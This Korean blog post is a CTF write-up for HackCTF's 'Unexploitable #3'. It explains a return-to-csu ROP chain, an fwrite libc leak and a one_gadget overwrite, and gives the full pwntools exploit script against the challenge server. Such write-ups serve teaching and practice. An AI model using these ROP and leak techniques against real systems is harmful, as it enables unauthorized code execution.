상세 컨텐츠

본문 제목

[HackCTF] Unexploitable #3

SYSTEM HACKING/HackCTF

by koharin 2020. 4. 20. 16:23

본문

728x90
반응형

 # 보호기법 

 


# Process

 

gift 함수를 보면 mov rcx, [rdi] ; ret 가젯이 있다.

 

이 문제에는 BOF도 일어나지만 libc leak을 할 함수가 fwrite밖에 없는데,

이 함수는 인자 4개가 필요하다.

하지만 가젯을 찾아보면 pop rdi ; ret 말고는 충분하지 않다.

 

따라서 fwrite 함수로 libc leak을 위해 RTC (Return to csu)를 사용한다.

 

 

1. fwrite 함수의 인자 구성을 알아보자.

 

size_t fwrite(const void *ptr, size_t size, size_t count, FILE *file)

 

fwrite(&got, 1, 6, 0x601050)

 

첫 번째 인자 : 읽을 메모리 주소. ptr이 가리킬 것이므로 got 주소로 준다. fgets@got

두 번째 인자 : 항목의 크기로 1을 준다.

세 번째 인자 : fgets@got의 길이라고 생각하면 된다. 이미 호출된 적이 있으므로 6바이트가 적혀있을 것이므로 6을 인자로 준다.

네 번째 인자 : 기록할 파일 포인터. 출력할 것이므로 stdout을 주는데, 이는 bss 영역에 적혀있으므로 0x601050로 준다.

 

file이 가리키는 메모리 공간의 데이터를 size*count 바이트만큼 읽어서 file이 가리키는 파일에 저장하는 기능을 한다.

따라서 got에 적힌 주소값의 크기인 1*6 = 6바이트만큼 읽어서 출력해준다.

 

2. rcx 레지스터에 네 번째 인자 값을 넣는다.

 

RTC로는 세 번째 인자값까지만 넣을 수 있어서 네 번째 인자는 mov rcx, [rdi] ; ret 가젯을 이용해야 한다.

먼저 pop rdi ; ret으로 rdi 레지스터에 stdout 주소를 넣으면 rcx에 이 rdi에 적힌 값이 써진다.

 

3. 0x40073a 로 csu2를 호출해서 각 레지스터에 값을 넣는다.

 

rbx : call qword ptr [ r12+rbx*8]을 하는데 rbx*8은 사용하지 않고 그냥 [r12]를 사용하므로 rbx0으로 준다.

rbp : add rbx, 1rbx1로 만들어주고 cmp rbx, rbprbxrbp 값이 같은지 비교하고 같으면 jnz를 수행하므로 rbp 값도 1로 준다.

r12 : 호출하려는 주소이므로 got 값으로 준다. got에 적혀있는 주소값을 가져오는 것. call qword ptr [r12]에서 여기서는 fwrite_got를 준다.

r13 : mov rdx, r13에서 r13 레지스터 값을 rdx 레지스터에 넣는다. 세번째 인자 -> 6

r14 : mov rsi, r14이므로 rsi에는 1 따라서 r14 = 1 두 번째 인자

r15 : mov edi, r15d 이므로 edi에는 got 따라서 r15에는 got 첫 번째 인자

ret : 리턴할 주소를 넣는다. 0x400720을 줘서 이 주소에서 fwrite(&got, 1, 6, 0x601050) 진행

 

4. 0x40073a 코드 길이 * 8바이트 만큼 offset을 줘서 0x400720 코드 진행 후 이곳으로 돌아오면 그냥 넘어가도록 한다.

 

5. main 함수 호출

 

leak 후 return address를 one gadget으로 덮기 위해 main 함수 호출

 

6. libc leak

 

 

6바이트 출력되므로 \x00\x00을 붙여준다.

libc base를 구하고 one gadget offset으로 one gadget 주소를 구한다.

 

7. return address -> one gadget

 


# exploit code

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./Unexploitable_3")
p = remote("ctf.j0n9hyun.xyz", 3034)
elf = ELF("./Unexploitable_3")
libc = elf.libc 
p1ret = 0x400743
writable = 0x601070
mov_rcx_rdi = 0x00400658
stdout = 0x601050

rbx = 0
rbp = 1
r12 = elf.got['fwrite']
r13 = 0x1
r14 = 0x6
r15 = elf.got['fgets']
ret = 0x400720 # csu1
offset = 8*7
main = elf.symbols['main']

pay = 'A'*(0x10+0x8) + p64(p1ret) + p64(stdout) + p64(mov_rcx_rdi)
pay += p64(0x40073a) # csu2
pay += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
pay += 'A'*offset + p64(main)

p.sendlineafter("\n", pay)

fgets = u64(p.recv(6) + "\x00\x00")
libcBase = fgets - libc.symbols['fgets']
one_gadget = libcBase + 0x45216

p.sendlineafter("\n", 'A'*(0x10+0x8) + p64(one_gadget))

p.interactive()

 

# exploit

 


 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] Unexploitable #4  (0) 2020.04.20
[HackCTF] babyfsb  (0) 2020.03.25
[HackCTF] j0n9hyun's secret  (0) 2020.03.25
[HackCTF] Welcome_REV (Reversing)  (0) 2020.03.09
[HackCTF] World best encryption tool  (0) 2020.03.09

관련글 더보기